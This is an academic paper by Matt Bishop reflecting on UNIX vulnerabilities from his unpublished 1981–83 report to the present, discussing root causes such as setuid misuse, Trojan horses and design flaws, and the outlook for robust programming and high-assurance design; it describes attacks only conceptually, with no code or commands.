Reflections on UNIX Vulnerabilities

Matt Bishop
Department of Computer Science
University of California at Davis
Davis, CA 95616-8562
bishop@cs.ucdavis.edu

***Abstract*—The UNIX operating system was developed in a friendly, collaborative environment without any particular predefined objectives. As it entered less friendly environments, expanded its functionality, and became the basis for commercial, infrastructure, and home systems, vulnerabilities in the system affected its robustness and security. This paper presents a brief history of UNIX vulnerabilities, beginning with a report written in 1981–1983, but never published. It examines how the nature of vulnerabilities has (and has not) changed since then, and presents some thoughts on the future of vulnerabilities in the UNIX operating system and its variants and other UNIX-like systems.**

***Keywords*-UNIX security; vulnerabilities; security policy; history; future**

I. Introduction

In 1981, computer security was not considered a mainstream subdiscipline of computer science. Indeed, only a few practitioners and faculty specialized in that area. Many academic institutions considered it intellectually uninteresting and a non-academic specialty. The perception of the intricacies and importance of computer security has changed since then. Now there are specialized degrees in information assurance; there is for example a U.S. program, the Centers of Excellence program run by the U.S. Departments of Defense and Homeland Security, to highlight the importance of the discipline. There is considerable discussion about how to integrate security and assurance into the mainstream computer science curriculum.

At this point, a short discussion of terms will save much confusion. *Computer security* is that subdiscipline of computer science that concerns itself with the security properties that a particular system must have; specifically, the appropriateness of those properties (embodied in a *security policy*), and how those properties are realized in practice through both technological and procedural means (the *security mechanisms*). *Assurance* is the degree of confidence that a system or program will function as described by a set of specifications (which may be formal or informal). Thus, a system can have high assurance and weak security if the requirements and the resulting specifications do not include security requirements and specifications.

This paper discusses a specific aspect of security and assurance. It does not discuss elements of policy, or policy composition, or even the proper definition of policy. Instead, it focuses on a particular category of security holes or *vulnerabilities* for the UNIX[1] operating system. Because of the natural evolution of systems over the years that this paper spans, I construe the terms "UNIX" and "UNIX operating system" liberally, to include UNIX-like systems such as Linux.

A report I wrote in 1981, and expanded in 1983, motivates this reflection.[2] That report presented several UNIX security vulnerabilities, and discussed their causes and how to fix them or, where no fixes were available, how to ameliorate them. It was circulated among computer security researchers, system administrators, and developers of UNIX systems, but was never published.

This paper examines UNIX vulnerabilities, and their impact on UNIX security, in three periods that are roughly chronological (but with quite a bit of overlap; thus, I have resisted the temptation to assign dates). It starts with the state of the art in the beginning, up to and through the time my report was written. It then discusses the evolution of UNIX security during the middle period, roughly up to the present time. Next, it considers the future: where are we going, what we have done incompletely or incorrectly, and (most importantly) what have we done right. Finally, it concludes with some reflections on vulnerabilities and security.

II. The Past

Peter Salus' *A Quarter Century of UNIX* [1] documents the history of the UNIX operating system well. Bell Laboratories was one of the participants in the Multics project [2], but withdrew. Because of this, one of the programmers, Ken Thompson, began writing a new operating system. He was joined by Dennis Ritchie and others. The result became UNIX.[3]

The basic security policy that UNIX systems implemented arose from the environment in which it was developed. In the friendly laboratory where Ritchie, Thompson, and others worked, "security" consisted of ensuring that one

[1]UNIX is a registered trademark of The Open Group.

[2]Throughout this paper, I refer to the 1983 report as "report" to distinguish it from this paper.

[3]According to Steve Bourne, Peter Neumann coined the name "UNICS" in 1970; see [1, p. 9].

user did not accidentally overwrite another user's files, or read something the first user considered private. Further, the precise nature of the prohibitions—for example, whether the system directories were to be altered only by system administrators—were left up to each site. Dennis Ritchie summed this up when he wrote that "UNIX was not developed with security, in any realistic sense, in mind" [3].

Users and system administrators were reasonably knowledgeable about computer systems and computing in general. The brevity of UNIX commands (most of which were two characters long) the use of options to tailor the functioning and output of many programs, and the terseness of error messages (the most famous of which was undoubtedly the *ed* editor's '?'), were accepted as assets—or at least as acceptable annoyances.[4]

UNIX systems were networked by telephoning one another, or using local area networks that were isolated from other networks. Users generally encountered networks when they moved files from one system to another, sent email, or read the USENET news. Further, access to the ARPAnet was restricted to government organizations, research laboratories, and academic institutions. Each site set its own policy on who was allowed to access its systems, and how.

In short, UNIX was designed to implement a friendly security policy, appropriate for environments in which users wanted to collaborate and not attack one another.

Indeed, computer security had not yet reached a level of prominence; the only well-known project that explicitly included security considerations in its design was Multics [5]. The Ware report [6], which first raised the problem of computer security, was released in 1970, and the Anderson report [7] two years later. Two studies of vulnerabilities in operating systems, the RISOS study [8] and the Program Analysis study [9], discussed problems with operating systems; the former in order to help managers assess the systems they were considering acquiring, and the latter to develop ways to automate the detection of security flaws. Both considered the UNIX operating system, among others.

At this time, few papers were written primarily about UNIX security. The best-known was Dennis Ritchie's "On the Security of UNIX" [3]. Another focused on writing setuid programs [10]. A third, presented as an abstract, focused on improving UNIX security [11], and a fourth discussed security aspects of implementing UUCP [12]. Morris and Thompson's paper on UNIX password security [13] concluded that the UNIX password protection algorithm was cryptographically strong, given the current capabilities of systems. Beyond those, the USENET news groups contained information about peoples' experiences (both pleasant and unpleasant). Most information was transmitted informally from colleague to colleague.

[4]But see Norman's paper [4].

A. Vulnerabilities

That was the background in which I wrote the report. It examined flaws in a number of UNIX systems, and considered problems arising from the user and system programs, as well as from configuration issues.

The report described 21 vulnerabilities grouped into 6 categories.

The first category, *Setuid Problems*, focused on the change of privilege afforded by the UNIX setuid mechanism. The six problems were split between configuration problems and programming problems, with an emphasis on the latter. Essentially, all the problems arose from failing to restrict privileged processes, and the safeguards suggested several approaches to doing this.

The category on *Trojan horses* emphasized this, and the issue of misplaced trust. The first problem pointed out the need to ensure that naming a program named the right one, and not an unknown program with the same name. The second examined whether one entered data to the desired program, or to one that simply provided an interface identical to the desired program. Both of these were configuration issues, although the solution for the second requires changes to the system.

Terminal Troubles referred to the connection of devices to the system, and what could happen when those devices interacted with the system in unexpected ways. The first problem involved how the system reacted to unexpected changes in the connection, for example putting the connection into raw mode. The next two problems involved the interface within the device itself, the second being what the human saw and the third reprogramming programmable functioned on the device. Again, the root of these problems were configuration issues.

The fourth category dealt with *network and remote mail* problems. The first was a classic failure to properly constrain remote users, commands, and programs. Doing so involved both programming and configuration changes. The second and third were, purely and simply, a failure to perform adequate checking in the code, resulting in files being sent to the wrong system or confidential information being exposed. The last used a failure to constrain ownership to allow users to give away files, and thereby evade disk quota limits—again, a failure to properly constrain programs.

Design Problems presented several flaws that arise from design errors. Some, such as the first one, were fairly trivial and easy to fix (one line of programming). Others, such as the second, required a redesign of the relevant part of the program. Still others, such as the third, required that the entire design of the interface of the program be rethought because the problem was inherent in the way the interface (or rather, the combination of several interfaces) worked. These all illustrated the importance of good design.

Miscellaneous Problems reviewed four problems that, at the time the report was written, seemed not to fit into the

earlier categories. The first required a simple programmatic fix to distinguish between two types of data (metadata, specifically the "From" line added to the top of emails, and user-entered data). The second was best characterized as an artifact of providing user-level access to low-level (raw) disk data. The problem can be ameliorated by appropriate configuration of permissions. The third used a prohibition against executing files that are being read to provide a denial of service attack, and the fourth relied on the failure of UNIX to limit certain resources to crash the system.

B. Summary

The UNIX operating system was not designed to be secure. Indeed, its goals were general, and in part because of this, it had vulnerabilities. The report described 21 vulnerabilities, ranging from some caused by poor programming to others caused by erroneous assumptions about the environment in which the system would be used. Some were a product of design decisions that benefited the flexibility and power of UNIX; others were simple errors.

One of the goals of writing the report was to make the community aware of the problems, in the hopes that they would be fixed and that the state of UNIX vulnerability analysis would improve. The next section examines whether it has.

III. From the Past to the Present

System security develops in one of two ways. Either the system is designed to be secure with respect to a particular environment and set of criteria, or the system is simply used, and security mechanisms added as the need arises. Which path is followed affects the vulnerabilities of the system.

The history of UNIX security follows both paths. When I wrote my report, two academic versions of UNIX were in widespread use: Version 7 UNIX and a variant developed by the Computer Science Research Group at the University of California at Berkeley; this variant was called the "Berkeley Software Distribution" or BSD for short. AT&T Bell Laboratories had begun to develop UNIX System III, intended for commercial use, and researchers had begun developing variants with greater degrees of security (such as LINUS [11] and Secure Xenix [14]). In addition, some vendors and research groups worked on systems with UNIX-like interfaces, but designed with security as a primary goal [15,16].

Vulnerabilities continued to be found, and were discussed among researchers and system administrators. However, no formal means of communication or centralized information resource of contact points existed until the Internet worm of 1988. When the worm struck, both MIT (on whose system the worm was introduced) and Berkeley (developers of several specific programs the worm used to spread) analyzed it to develop countermeasures. Because neither group knew one another, establishing communications so they could cooperate required a trusted intermediary.

Numerous papers have described the history, and consequences, of the worm [17]–[22]. Of greatest interest here is the establishment of the Computer Emergency Response Team, or CERT, at the Software Engineering Institute at Carnegie-Mellon University. CERT maintained a list of contact points for installations[5] so system administrators would be able to find out the contact at remote sites should the need arise. CERT also began releasing "Advisories" that described vulnerabilities, in order to alert system administrators of potential security problems. Later, CERT made "vulnerability notes" available to describe problems more thoroughly than in the advisories; these often gave additional helpful details. In general, CERT avoided describing how to exploit vulnerabilities; it merely noted their existence.

Perhaps the most consequential change with respect to security was the emergence of UNIX from a research environment, where it was used in collegial environments, into commercial, governmental, and infrastructure environments. Those environments were much less benign; indeed, some were quite hostile. Further, the population of users grew from system administrators and users knowledgeable in computer science to include those much less sophisticated, and in many cases with little to no experience with UNIX. Thus, what was, in the research environment, an elegant user and programming environment, was now an environment that many found difficult to use.

This affected security in several ways. First, as the environments that UNIX functioned in were no longer benign, it had to be adapted in order to meet the security needs of the new environments. Restrictive environments that discouraged sharing ran counter to UNIX's lack of design requirements; in fact, UNIX "was not designed to meet any predefined objectives" [23, p. 373]. While this made UNIX adaptable, its very adaptability required an interface susceptible to change. This is antithetical to the design of secure systems, into which security must be designed in from the beginning, and not added as an afterthought.

The environments, and therefore the policies, varied widely. The commercial environment tended to stress integrity over confidentiality. The governmental environment tended to stress confidentiality over integrity. But attributes of both were crucial to each environment. Further, with the rise of various networks, remote access to UNIX systems increased. Indeed, the first RFC about security [24], released in 1983, stressed the need to choose passwords that are difficult to guess, and not to make widely available the telephone numbers that gave access to the ARPAnet (because the TIPs[6] did not use passwords).

[5]Listing was purely voluntary, of course, and again quite informally done.

[6]Terminal Interface Processors, devices for connecting terminals to the ARPAnet.

Originally, the ARPAnet was not designed to be secure, in the sense that its protocols and systems were to be locked down; indeed, the network was seen as a mechanism for sharing. As use of the protocols expanded beyond the original environment in which they were developed, the assumptions upon which the network's security was based no longer held. It, and various other networks evolved, joined into interconnected networks (or *internets*), and expanded their access and accessibility. In the early 1990s, the interconnected networks became "the Internet," and available to everyday people in the guise of the World Wide Web.

The relevance of this evolution is that no longer could a single network assert a particular policy over all systems that connected to that network. Indeed, the conflict of policies—for example, when one network allows only trusted users be able to access it, yet must remain connected to the Internet—requires that the restrictive policy be reconciled with one allowing anyone access to the Internet. Usually, the restrictive network tries to isolate itself by requiring all who access it be vetted at the entry point, for example by a firewall. This introduced another class of vulnerabilities—those arising from disparate policies being composed.

A. Vulnerabilities

All these factors influenced the discovery of UNIX vulnerabilities, and how the community reacted to them. Although specific vulnerabilities were eliminated, the underlying causes of those vulnerabilities remained, and in fact many new vulnerabilities bore a striking resemblance to earlier ones.

Problems with setuid, or privileged, programs continued. These vulnerabilities all arose from a failure to apply the Principle of Least Privilege [25]. Out of these problems grew the notion of "secure programming."

The term "secure programming" is a misnomer. Security is defined by a security policy, and so "secure programming" should refer to programs that implement or honor a policy. The term is used instead to mean programs that cannot be "broken" or forced to perform "non-secure" actions, without specifying what those terms mean. A much better term is "robust," which means that the program will not terminate abnormally or perform unexpected actions. Thus, this style of programming will prevent many problems that often lead to violations of most security policies—the canonical buffer overflow that can be used to augment authorized privileges, for example.

Several early papers discuss security implications of programming on UNIX systems [10,26,27]. In 1996, the paper "Checking for Race Conditions in File Accesses" [28] pointed out that the semantics of system calls could be used to look for a specific type of race condition. Many papers on automated source code scanning followed (see [29] for a discussion of publicly available tools). Researchers developed many innovative techniques to detect and fix problems in programs that often led to security vulnerabilities [30]–[33].

Equally important has been the proliferation of information about poor, and good, coding practices. These practices often target the C and C++ programming languages because they are widely used in both operating systems development and applications. Books on UNIX security often discuss good programming practices [34]–[37], and others discuss it more generally, in the context of secure design [38]–[40].

Unfortunately, non-robust coding continues to be a problem. A check of the National Vulnerability Database for "overflow" problems dated 2009 gives 45 such vulnerabilities; "race condition" problems dated 2009 gives 20.

The ability of applications level programs to function correctly depends upon the correctness of the services that those programs rely on: the libraries, compilers, translators, operating systems, and other infrastructure support. My report used Ritchie's description of Thompson's C compiler[7] modifications to make this point. Thompson provided more details in his Turing Award address [41]. However, when the infrastructure itself is under the control of untrustworthy or unknown entities—for example, when resolving a network address relies on information in a remote database—relying on the infrastructure poses a security threat. In 1996 and 1997, for example, CERT reported that attackers were using corrupted data introduced into DNS servers to compromise systems [42,43].

Trojan horses continue to be a serious vulnerability, especially with the coming of the Internet. The search path problem, in various guises, continued to affect systems into the late 1990s (see for example the *loadmodule* problem [44]). In the early to mid-1990s, as UNIX systems incorporated dynamic loading, new environment variables defined search paths for libraries. These led to other compromises in which users could define their own versions of standard functions and, by manipulation of appropriate environment variables, force their versions to be loaded [45,46].

The problem is that the exposure of users to untrustworthy sites, such as rogue web sites, enables them to download untrustworthy executables from the web. Perhaps the most pernicious was a modification to *tcp_wrappers* that enabled attackers to gain access to any system on which it was installed by connecting to the system from port 421 [47]. Similar attacks involving *OpenSSH* [48] and *sendmail* [49] occurred in 2002. More recent programs such as spyware and adware fall into this category.

To counter this type of attack, researchers have developed restrictive environments. Beginning with the restricted shell and the *chroot*(2) system call, and continuing with the *jail*(2) system call, UNIX has rediscovered the virtual machine as a technique for security isolation. This will not prevent malicious code from causing problems, but it will confine

[7] Actually, the C preprocessor.

the locus of the damage—provided the isolation mechanisms are effective. Thus, assuring and preserving the integrity of the virtual machine monitors, and hypervisors, has become another area of research.

Devices continue to plague systems with vulnerabilities. Many vulnerabilities have arisen from a failure to protect devices adequately. For example, in the early 1990s, Sun systems had a built-in microphone that could be turned on remotely—a perfect eavesdropping device [50]. The most recently publicized device vulnerability involved a modification to an Apple Aluminum Keyboard [51]. The attack (which actually works for other devices, too) enables an attacker to embed malicious code into the keyboard via a firmware update, thus reprogramming it. This is the same attack as the reprogramming of the Ann Arbor Ambassador function keys discussed in example 11 of my report—only the delivery mechanism has been changed.

Network security has become a critical component of protecting systems, and vulnerabilities in network services, programs, and libraries pose a serious threat to systems. UNIX is no exception. Vulnerabilities began with the earliest distributions of network services (for example, the Internet worm [18] used these to spread). The flaws include a failure to check input, as in example 12 of my report (see vulnerabilities in CGI programs [52,53] for examples)—SQL injection attacks fall into this class, errors in configuration allowing access to data that should be protected (such as in NFS [54]), and buffer overflows and race conditions, including some in security programs [55,56].

Designers often incorporate security considerations in the design of a program or system. The requirements and environment in which the program is to be used drive these considerations. But the program may be put to a different use, in a different environment, and with different requirements. A good example is the assumption that a network connection originating from a port number less than 1024 comes from a trusted process—on UNIX systems, only *root* can initiate such a connection. Programs that make this assumption are flawed in design, because this convention is particular to UNIX. Other systems allow any user to initiate such a connection. Worse, even if the remote system is a UNIX system, the local system administrators may not trust the people authorized to become the *root* user on the remote system!

Perhaps the most serious design flaw in UNIX is the existence of the superuser, *root*—it violates the Principle of Least Privilege. The user who adds printers and users to a system should not have the power to terminate other users' processes; yet in UNIX, the superuser performs both functions. The powers given to the superuser in UNIX should be partitioned among other system administrator accounts on systems designed to meet security requirements with high assurance (such as the DG/UX system [16]).

As a second, consider the Principle of Separation of Privilege [25]. This principle states that access to protected resources should be based on satisfying multiple criteria. The UNIX system, however, simply requires the user to know the password to *root* in order to acquire superuser power, and thus access to all resources and data on the system. Berkeley UNIX attempted to solve this problem by a combination of mechanisms. First, terminals could be designated as "secure," and system administrators could log in as *root* only from those terminals. Second, in order to acquire superuser powers, the user not only needed to know *root*'s password, but also had to be a member of a specific group (*wheel*) with group ID 0. Thus, access to the superuser account required both the password and either access to a secure terminal or membership in a group that had a group ID of 0 [57].

As a third and final design problem, consider how UNIX handles file accesses. Access is checked *only* when a file is opened; it is not checked when a process reads or writes a file. Thus, a process can open a file, the owner can then deny all other users access, and yet the process will be able to read the file.[8] This violates the Principle of Complete Mediation [25], which requires that all accesses to objects be checked when each access is attempted. A possible reason that UNIX did not implement this may be that the overhead was considered too high; nevertheless, this is a design error from the point of view of security. This design decision persists in current UNIX systems.

B. Summary

With one exception—example 8—the specific vulnerabilities described in my report have been fixed on all versions of UNIX that I am familiar with.[9] However, *none* of the problems underlying those vulnerabilities have been corrected. Indeed, many later vulnerabilities were very similar to the ones in the report, allowing for changes in technology. Further, these problems persist to this day; the Apple Aluminum Keyboard attack described above was reported in June of this year. Similar vulnerabilities have been found in other systems[10].

IV. To the Future

The future for UNIX vulnerabilities is either bright or bleak, depending on whether one is optimistic or pessimistic.

First, the pessimistic view. We have known about the root causes of many of the UNIX vulnerabilities found so far—as fast as the vulnerabilities are fixed, new ones emerge, often with the same root cause. Further, despite our best efforts at patching, zero-day attacks ensure that some patches are

[8]When the process closes the file, it will be unable to reopen it.

[9]Desktops have made shared systems much less common than they were when the report was written. Thus, the specific example 8's dangerousness is much more limited. But the problem of tricking a user with a bogus interface still lives on, in phishing for example.

[10]Including special-purpose systems [58, Sections 4.0 and 6.3].

released too late. To fix these problems requires not simply fixing UNIX systems—and there are so many of them!—but also changing the way programmers, developers, managers, and users view security. There is thus far little evidence that we can do so effectively. So, the situation is hopeless—but we must muddle on, doing the best we can.

The optimistic view admits there are serious problems, but that there are realistic ways to improve the situation, and in fact that it is improving. That we see so many vulnerabilities means we are better at locating them, and detecting attacks that exploit them. Further, as noted earlier, we know how to fix, and prevent, many of the causes of security problems. The next step is to figure out how to ensure these methods are used.

There is considerable discussion about how to make security pervasive throughout a computer science curriculum. In particular, the goal of having *all* computer science students learn basic techniques of robust ("secure") programming is not enough; the students must apply these techniques throughout their educational and professional careers, so that they become as much second nature as proper writing. Assuming employers are willing to support the application of these techniques, one class of vulnerabilities—those arising from programming errors—will diminish. This means that the number of vulnerabilities in new programs will be less than those of programs written earlier, and the types of vulnerabilities that are found will change. Ideally, buffer overflows will become a thing of the past, and input validation will be the norm. And with an increased understanding of the importance of security and the need to provide security to customers, sellers of software will use software development methodologies amenable to security.

Additional pressure will arise as more and more vendors and consumers come into contact with UNIX systems. They will purchase systems such as Apple computers, and acquire Linux and BSD clones. They will interact with UNIX systems supporting network services such as web servers. UNIX systems will be part of the infrastructure that they use, and the security of a nation's infrastructure depends on the security of the computers that control it. New infrastructures will bring with them the need for new computers, and if the past is indeed prologue, many of these will be some version of UNIX. Perhaps consumer pressure, and the fear of embarrassment or alienating customers with repeated patches, will help companies decide to adopt security-enhancing design, development, and testing methods.

One such method is to use UNIX as the basis for the development of special-purpose systems. General-purpose systems are hard to make secure because they are designed to meet a variety of goals, most of which have nothing to do with security. Hence they are relatively unconstrained because one defines what must be disallowed (i.e., is bad) and allows everything else. A special-purpose system, on the other hand, focuses on a set of specific tasks. Thus, it is possible to define what must be allowed (i.e., is good) and disallow everything else. The latter conforms to the secure design Principle of Fail-Safe Defaults [25], and hence is preferable when developing systems that are intended to be secure. Further, applying rigorous assurance techniques to special-purpose systems is easier than doing so to general-purpose systems, providing another reason why specialization of systems is beneficial.

A second such technique would be to apply some of the methodologies used to develop high-assurance systems, but less rigorously. Indeed, many of the secure software development life-cycle models do this. These approaches all begin by defining the goals of the program or system, including the relevant parts of the environment and the assumptions being made (this corresponds to the specification step in formal methods). The goals are then broken down into subgoals, and the successful achievement of those subgoals compose the successful achievement of the goal. This forms the overall, highest-level design of the program. Then each subgoal is decomposed further, always keeping track of the correspondence between the subgoal and each step in the program. Implementation follows; each routine has preconditions and postconditions specified and the programmer ensures that the routine's input satisfies the preconditions, and that its output satisfies the postconditions. Done informally, this discipline can materially improve the quality of programs and software in general, and eliminate many problems.

Even for the optimist, the view is not one of monotonic improvement. Getting groups to work together to improve the state of the art as described above is a monumental task, and one fraught with difficulties. Existing UNIX systems will not disappear, and the legacy programs on them will continue to exhibit vulnerabilities. Thus, UNIX vulnerabilities will not go away, even if everything hoped for in the previous paragraphs comes to pass.

Both the optimist and the pessimist see change. The pessimist sees things getting worse, and has little hope of anything improving, but admits we cannot cease trying. The optimist sees hope in the flood of information and increasing understanding of basic principles of robust programming, assurance, and computer security. Perhaps Dorothy Parker's poem *Résumé* [59] best reconciles these two disparate points of view:

> Razors pain you;
> Rivers are damp;
> Acid stains you;
> And drugs cause cramps.
> Guns aren't lawful;
> Nooses give;
> Gas smells awful;
> You might as well live.

V. Reflections and Conclusion

This paper focused only on UNIX vulnerabilities. It did not discuss aspects of policy because the report did not discuss them. But policy implicitly underlies the discussion in this paper and in the report, because policy determines whether something is a vulnerability.

Consider buffer overflows. Buffer overflows are a good example of something that may, or may not, be a security vulnerability. If I write a program with a buffer overflow, and I then exploit it, I have not breached security because I always have the right to my own privileges. If there is a setuid program with a buffer overflow, and I exploit it, I probably have breached security because I do *not* have the right to superuser privileges; thus, the buffer overflow allows me to add unauthorized privileges, which most security policies consider a breach of security. In this paper, as in the report, I have assumed a generic policy that bars me from acquiring unauthorized privileges. But it is appropriate to re-emphasize the role of the security policy in the definition of vulnerabilities.

Reflecting back over the time since I wrote my report, I have not been surprised by the changes, and lack of changes. At the time, I expected that the vulnerabilities identified in the report would be fixed (although I must admit it took much longer than I expected). I also expected that UNIX systems would continue to have vulnerabilities, both in the existing system and as a result of adding new software and hardware. This has indeed happened.

I hoped that more focus on developing high-assurance systems would ameliorate the problems. I believed that systems designed and implemented with security as a consideration (as was Multics, for example) would have many fewer vulnerabilities than the systems that existed at the time, such as UNIX. I also expected that this development would proceed very slowly, both because of the inability to define "security" to the required degree of precision in many installations, and because each installation would have its own security policy. I hoped there would be enough overlap to allow systems to be developed that would provide the needed level of security. Alas, the problem has proven more difficult than it seemed to me as a graduate student of that time.

One factor that I did not expect, or indeed even think of, at the time is the application of the *principles* of high-assurance system development to more informal environments—specifically, robust ("secure") programming and software development. To a purist, this is probably a distressing watering-down of mathematically rigorous (or semi-rigorous) techniques in ways that reduce their effectiveness. Guilty. But the application of these techniques, watered-down though they be, is an improvement in the current state of the art of programming and system development. Further, influential bodies such as governments and many commercial firms are encouraging their use. Rather than being distressed, the optimist (of which I am one) thinks this is a delightful improvement over the state of affairs 25 years ago, or even 10 years ago.

So there is hope. Our understanding of UNIX vulnerabilities is improving. We are learning how to detect them and how to build systems that have far fewer vulnerabilities. But UNIX vulnerabilities are with us, and will not go away. The nature of these vulnerabilities can lead us toward reducing their number, but the very general nature of UNIX means that keeping its flexibility and eliminating all vulnerabilities is infeasible.

VI. About the Report

The first version of this report was written in mid-1981. Feedback from several people, especially my advisor, Prof. Dorothy Denning, helped me greatly improve the quality of discussion and suggested mitigations, and develop the version contained in these proceedings. Because the report was written in *troff*, it has been converted to LaTeX using the IEEE Proceedings style and bibliographic formats. This style has two columns, so some lines in the examples were split in order to prevent running into the margin and the other column. Beyond that, everything remains the same (including some spelling and grammar errors).

This report was widely circulated to developers of various versions of, and various extensions to, the UNIX operating system, and to system administrators and researchers. It was never published, for reasons that are too complex to discuss here. Part of the reason was the "cookbook" nature of the vulnerabilities. The descriptions were detailed enough to enable the reader to reconstruct the attack, and so presented a danger to existing UNIX systems. Recently, Dr. Sean Peisert attempted to reconstruct these attacks for his Ph.D. dissertation [60], and had to use versions of the UNIX operating system that were at least 10 years old (and, for most of the vulnerabilities, systems older than that). So, the specific attacks no longer work. But, as discussed above, many are similar to existing attacks that *do* work.

The report contains one point that requires clarification. Section IIA, example 6, describes a vulnerability in the *login* program of Version 6 UNIX. Several years after the report was written, Bob Morris contacted me and said that the distributed version of Version 6 UNIX did not have this login bug.[11] It was, however, widely reported and discussed at the time, so I suspect some version of UNIX did have it. It also is a good example of the effects of a buffer overflow vulnerability. As a historian is reputed to have said when told by a veteran that his description of part of the battle

[11] He is correct; the sources for UNIX Version 6 made available by the USENIX Association do not show this security hole. I appreciate Bob Morris' pointing this out to me, and give my apologies to all those who were embarrassed by this.

of Gettysburg was not the way it happened: "Another good story ruined by an eyewitness!"

ACKNOWLEDGMENTS

Dorothy Denning first interested me in UNIX vulnerabilities and security by suggesting I write up a vulnerability in the mail system that I had found; she nurtured my interest by suggesting I combine it with work on the Take-Grant Protection Model, which turned into my dissertation. I am grateful for her excellent mentorship, and her wisdom, guidance, and good humor as my advisor and friend.

Thanks to Peter Neumann, Marv Schaefer, and Steven Greenwald for many helpful comments and suggestions.

Also, thanks to Jeremy Epstein for his invitation to put together a reflection on UNIX vulnerabilities, and his patience waiting for me to do so.

This material is based upon work supported by the National Science Foundation under grants CNS-0716827, CNS-0831002, and CNS-0905503. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the author and do not necessarily reflect the views of the National Science Foundation.

REFERENCES

[1] P. Salus, *A Quarter Century of UNIX*. Reading, MA: Addison-Wesley Publishing Company, 1994.

[2] E. Organick, *The Multics System: An Examination of Its Structure*. Boston, MA: MIT Press, 1972.

[3] D. M. Ritchie, "On the security of UNIX," in *UNIX Programmer's Manual*, 1978, vol. 2.

[4] D. Norman, "The trouble with UNIX: the user interface is horrid," *Datamation*, vol. 27, no. 12, pp. 139–150, Nov. 1981.

[5] J. Saltzer, "Protection and the control of information sharing in multics," *Communications of the ACM*, vol. 17, no. 7, pp. 388–402, July 1974.

[6] W. Ware, "Security controls for computer systems: Report of Defense Science Board Task Force on computer security," Rand Corporation, Santa Monica, CA, Tech. Rep. R609-1, Feb. 1970.

[7] J. Anderson, "Computer security technology planning study," ESD/AFSC, Hanscom AFB, Bedford, MA, Tech. Rep. ESD-TR-73-51, Oct. 1972.

[8] R. Abbott, J. Chin, J. Donnelley, W. Konigsford, S. Tokubo, and D. Webb, "Security analysis and enhancements of computer operating systems," ICET, National Bureau of Standards, Washington, DC, NBSIR 76-1041, Apr. 1976.

[9] R. Bisbey II and D. Hollingsworth, "Protection analysis: Final report," University of Southern California Information Sciences Institute, Marina Del Rey, CA, Tech. Rep. ISI/SR-78-13, May 1978.

[10] T. Truscott and J. Ellis, "On the correctness of set-user-id programs," 1980, unpublished.

[11] S. Kramer, "LINUS (Leading Into Noticeable UNIX Security)," in *USENIX Conference Proceedings*, USENIX Association. Berkeley, CA: USENIX, Winter 1983.

[12] D. Nowitz, P. Honeyman, and B. Redman, "Experimental implementation of uucp—security aspects," in *USENIX UniForum Conference Proceedings*. Berkeley, CA: USENIX, Jan. 1984, pp. 245–250.

[13] R. Morris and K. Thompson, "Password security: A case history," *Communications of the ACM*, vol. 22, no. 11, pp. 594–597, Nov. 1979.

[14] V. Gligor, C. Chandersekaran, R. Chapman, L. Dotterer, M. Hecht, W.-D. Jiang, A. Johri, G. Luckenbaugh, and N. Vasudevan, "Design and implementation of Secure Xenix," *IEEE Transactions on Software Engineering*, vol. 13, no. 2, pp. 208–221, Feb, 1987.

[15] C. Rubin, "UNIX System V with B2 security," in *Proceedings of the 13th National Computer Security Conference*, Oct. 1990, pp. 1–9.

[16] "Managing security on the DG/UX system," Data General Corporation, Westboro, MA, Manual 093-701138-04, 1996.

[17] E. H. Spafford, "Crisis and aftermath," *Communications of the ACM*, vol. 32, no. 6, pp. 678–687, June 1989.

[18] M. Eichin and J. Rochlis, "With microscope and tweezers: an analysis of the internet virus of november 1988," in *Proceedings of the 1989 IEEE Symposium on Security and Privacy*, May 1989, pp. 326–342.

[19] J. Rochlis and M. Eichin, "With microscope and tweezers: the worm from MIT's perspective," *Communications of the ACM*, vol. 32, no. 6, pp. 689–698, June 1989.

[20] D. Seeley, "Password cracking: a game of wits," *Communications of the ACM*, vol. 32, no. 6, pp. 700–703, June 1989.

[21] T. Eisenberg, D. Gries, J. Hartmanis, D. Holcomb, M. S. Lynn, and T. Santoro, "The Cornell commission: On Morris and the worm," *Communications of the ACM*, vol. 32, no. 6, pp. 706–709, June 1989.

[22] C. Stoll, "An epidemiology of viruses and network worms," in *Proceedings of the 12th National Computer Security Conference*, Oct. 1989, pp. 369–377.

[23] D. M. Ritchie and K. Thompson, "The UNIX time-sharing system," *Communications of the ACM*, vol. 17, no. 7, pp. 365–375, July 1974.

[24] B. Metcalfe, "The stockings were hung by the chimney with care," RFC 602, Dec. 1983.

[25] J. Saltzer and M. Schroeder, "The protection of information in computer systems," *Proceedings of the IEEE*, vol. 63, no. 9, pp. 1278–1308, Sep. 1975.

[26] I. Darwin and G. Collyer, "Can't happen or /* NOTREACHED */ or real programs dump core," in *Proceedings of the 1985 Winter USENIX Conference*. Berkeley, CA: USENIX, Winter 1985, pp. 136–151.

[27] M. Bishop, "How to write a setuid program," *login*, vol. 12, no. 1, pp. 5–11, Jan. 1987.

[28] M. Bishop and M. Dilger, "Checking for race conditions in file accesses," *Computing Systems*, vol. 9, no. 2, pp. 131–152, Spring 1996.

[29] B. Chess and G. McGraw, "Static analysis for security," *IEEE Security and Privacy*, vol. 2, no. 6, pp. 32–35, Nov. 2004.

[30] E. Haugh and M. Bishop, "Testing C programs for buffer overflow vulnerabilities," in *Proceedings of the 2003 Network and Distributed System Security Symposium*, Feb. 2003, pp. 123–130.

[31] B. Kuperman, C. Brodley, H. Ozdoganoglu, T. Vijaykumar, and A. Jalote, "Detection and prevention of stack buffer overflow attacks," *Communications of the ACM*, vol. 48, no. 11, pp. 50–56, Nov. 2005.

[32] J. Wei and C. Pu, "TOCTTOU vulnerabilities in UNIX-style file systems: an anatomical study," in *Proceedings of the 4th Conference on USENIX Conference on File and Storage Technologies*, vol. 4, USENIX Association. Berkeley, CA: USENIX, 2005, pp. 12–21.

[33] D. Tsafrir, T. Hertz, D. Wagner, and D. Da Silva, "Portably solving file races with hardness amplification," *ACM Transactions on Storage*, vol. 4, no. 3, Nov. 2008.

[34] S. Maguire, *Writing Solid Code*. Redmond, WA: Microsoft Press, 1993.

[35] R. C. Seacord, *Secure Coding in C and C++*. Upper Saddle River, NJ, USA: Addison-Wesley, 2006.

[36] M. Graff and K. van Wyk, *Secure Coding: Principles and Practices*. Sebastopol, CA: O'Reilly and Associates, 2003.

[37] S. Garfinkel, G. Spafford, and A. Schwartz, *Practical UNIX and Internet Security*, 3rd ed. Sebastopol, CA: O'Reilly and Associates, 1996.

[38] M. Gasser, *Building a Secure Computer System*. New York, NY, USA: Van Nostrand Reinhold, 1988.

